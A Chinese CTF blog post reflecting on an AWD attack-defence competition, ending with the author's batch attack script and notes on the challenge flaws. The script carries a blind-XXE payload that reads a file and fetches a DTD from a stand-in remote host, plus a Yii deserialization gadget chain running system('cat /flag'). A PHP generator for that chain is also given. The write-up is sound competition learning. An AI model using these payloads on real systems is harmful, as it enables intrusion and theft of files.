Skip to content
Go back

2022 安洵杯决赛线上 AWD 小记

Edit page

Table of contents

Open Table of contents

感受

正如开头所说, 人生中的第一场 awd 比赛, 虽然自己过程中有点手忙脚乱, 不过好在熟悉了整个比赛流程

其实也没啥感受, 总结一句话就是被虐爆了

给的两道 web 题论攻击的话都不难, web1 利用点是 java xxe / ssti / 反序列化, web2 利用点是 Yii 框架反序列化 rce 和主办方藏的三个后门 (不知道有没有找全), 攻击脚本自己网上随便找找 payload 就能写出来

不过防御的话就开始出问题了…

按规定比赛开始前 30 分钟属于加固时间, 但是给的两台 web ssh 服务器传输速度都很慢, 结果光是下载源码就耗费了 15 分钟多

web2 主办方没给 /var/log/ 目录的权限, 自己往 Yii 框架上加上日志记录脚本后直接返回 500 错误, 到最后只上了一个没啥用的文件监控脚本

期间 web1 web2 漏洞都没有一次性修完, 导致后续一直被拿 flag

上午刚开赛时我就先从 web2 入手 (毕竟 PHP), 简单在反序列化入口点处加了一个不知道算不算修复的参数 (["allowed_classes" => false]) 就去写攻击脚本了

写完才想起来要把源码拉下来用 D 盾扫一遍… 然后发现自己漏了一个后门, 匆匆忙忙删掉相关代码但还是晚了一步, 只能眼睁睁看着服务器被拿 flag

后来写攻击脚本的时候试了下这个后门, 结果发现没有一台机器利用成功的, 于是就乖乖地按照反序列化的 payload 来写

比较有趣的是整个上午没有人修 web1, 也没有人打, 自己简单看了下 jar 源码发现一处 blind xxe, 用错误日志可以外带回显, 就配合着批量脚本拿了其它所有机器好几轮的 flag

下午看攻击记录发现 web2 还是被打, 手工翻了一遍源码找出来一个免杀 D 盾的后门… 依旧是晚了一步, 修复之后还是有人拿 flag

然后开始陆陆续续有人修 web1 的洞, 但自己这边一直忙着服务器加固和清 shell 杀进程的操作, 一时半会没来得及修复

等到最后 web1 被打的时候才想起来修, 费了好大劲把 jar 反编译回去然后在漏洞点的地方加上过滤再编译回去, 最后上传到服务器上, 不过还是没有一次性修完, 毕竟这题 ssti / 反序列化的利用方式没具体研究, 光顾着 xxe 了…

期间 web1 已经被日穿了, 各种 nc sh 反弹 shell, 甚至还有直接 kill 掉 java 进程和删 jar 文件的, web2 情况也差不多, 估计是反序列化没修完, 或者已经被种了内存马/不死马等等, 遇到过删掉整个网站源码的, 有点离谱, 但在 awd 中好像也挺正常

修到最后索性直接把 web1 web2 所有的漏洞入口点都给删掉, 结果截至比赛结束还是被别人拿 flag, 很奇怪

最大的感受就是如果在最开始的时候就把漏洞一次性修完, 后面就没有那么多事了…

自己在之前的学习过程中很多时间都是站在攻击者的角度来思考某个漏洞该如何利用如何绕过, 但是很少去以一个防守方的视角来认真思考这个漏洞究竟该如何修复如何加固, 算是吃了一个教训

以后这样的比赛估计还有很多, 慢慢积累经验吧

最后附上自己临时写的攻击脚本

import requests
import os
import re
import json
import time

flag_list = []

def get_iplist(filename):
    ip_list = []
    with open(filename, "r") as f:
        for line in f:
            ip_list.append(line.strip('\n'))
    return ip_list

def submit_flag(id, flag):
    url = 'http://47.108.29.107:8000/api/v1/challenges/attempt'
    cookies = {
        'session': '5e202965-c18d-48ac-b733-2bb3c8ca780a',
        'PHPSESSID': '4mbk85f8ta61f95l4nndqjq81c'
    }
    headers = {
        'CSRF-Token': '77963bfcb52a8ea6ebbc81c834cc18685e651ff004c1cf1ca6225a7fbad351a3',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.46',
        'Content-Type': 'application/json',
        'Origin': 'http://47.108.29.107:8000',
        'Referer': 'http://47.108.29.107:8000/challenges',

    }
    data = {
        "challenge_id": id,
        "submission": flag
    }
    print('submitting', id, flag)
    res = requests.post(url, data=json.dumps(data), cookies=cookies, headers=headers)
    print(json.loads(res.text))

def attack_web1(ip):
    global flag_list
    try:
        url = 'http://' + ip + '/xml'
        data = {'xml': 'PCFET0NUWVBFIHRlc3QgWwo8IUVOVElUWSAlIGZpbGUgU1lTVEVNICJmaWxlOi8vL2ZsYWciPgo8IUVOVElUWSAlIHJlbW90ZSBTWVNURU0gImh0dHA6Ly94LngueC54Onl5eXkvZXZpbC5kdGQiPgolcmVtb3RlOyVpbnQ7JXNlbmQ7Cl0='}
        res = requests.post(url,data=data, timeout=3)
        flag = re.findall('(flag\{.*\})', res.text)[0]
        print(ip,flag)
        flag_list.append({'id': 1, 'flag': flag})
    except Exception as e:
        print(e)

def attack_web2(ip):
    global flag_list
    try:
        url = 'http://' + ip + '/web/index.php?r=fun/test'
        payload = 'TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6OToiY2F0IC9mbGFnIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7czoyOiIxMCI7fX19'
        res = requests.post(url, data={'x': payload}, timeout=3)
        flag = re.findall('(flag\{.*\})', res.text)[0]
        print(ip,flag)
        flag_list.append({'id': 2, 'flag': flag})
    except Exception as e:
        print(e)

if __name__ == '__main__':
    print('-------web1-------')
    ip_list = get_iplist('web1_ip.txt')
    for ip in ip_list:
        attack_web1(ip)

    print('-------web2-------')
    ip_list = get_iplist('web2_ip.txt')
    for ip in ip_list:
        attack_web2(ip)

    print('-------submit flag-------')
    for d in flag_list:
        submit_flag(d['id'], d['flag'])
        time.sleep(7)

web1

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.5.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>awdJaba</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>awdJaba</name>
    <description>awdJaba</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>commons-lang</groupId>
            <artifactId>commons-lang</artifactId>
            <version>2.6</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId>
            <version>1.2.4</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.19.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.19.0</version>
        </dependency>
        <dependency>
            <groupId>commons-jxpath</groupId>
            <artifactId>commons-jxpath</artifactId>
            <version>1.3</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

首先是 shiro 反序列化 (commons-jxpath 作用域为 test, 所以实际上 jar 包里面没有这个依赖…)

存在 ObjectInputFilter, 不过可以用 SignedObject 二次反序列化一把梭 (getObject 通过 BeanComparator 触发)

image-20221216002845770

然后 XmlController 存在 xxe

image-20221216002533437

最后 HelloController 存在 thymeleaf ssti

image-20221216003003245

web2

Yii 2.0.42, 存在反序列化

参考文章: https://forum.butian.net/share/666

<?php
/***
 * Created by joker
 * Date 2021/9/7 16:35
 ***/
namespace Faker;
class DefaultGenerator{
    protected $default;
    function __construct()
    {
        $this->default = 'cat /flag';
    }
}
class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct()
    {
        $this->generator = new DefaultGenerator();
        $this->maxRetries = '10';
        $this->validator = 'system';
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes;
    function __construct()
    {
        $this->processes = [new ValidGenerator()];
    }
}
echo base64_encode(serialize(new RunProcess()));

入口点1

image-20221216001256047

入口点2

image-20221216001557262

另外 actionCommand 里面有 eval 后门

另一处后门在 views/site/about.php 内, 这个是用 D 盾扫出来的

image-20221216001849057

还有一处后门在同级的 contact.php 内, 免杀 D 盾

image-20221216001928967


Edit page
Share this post on:

Previous Post
JDK7u21 反序列化分析
Next Post
RCTF 2022 Web 赛后复现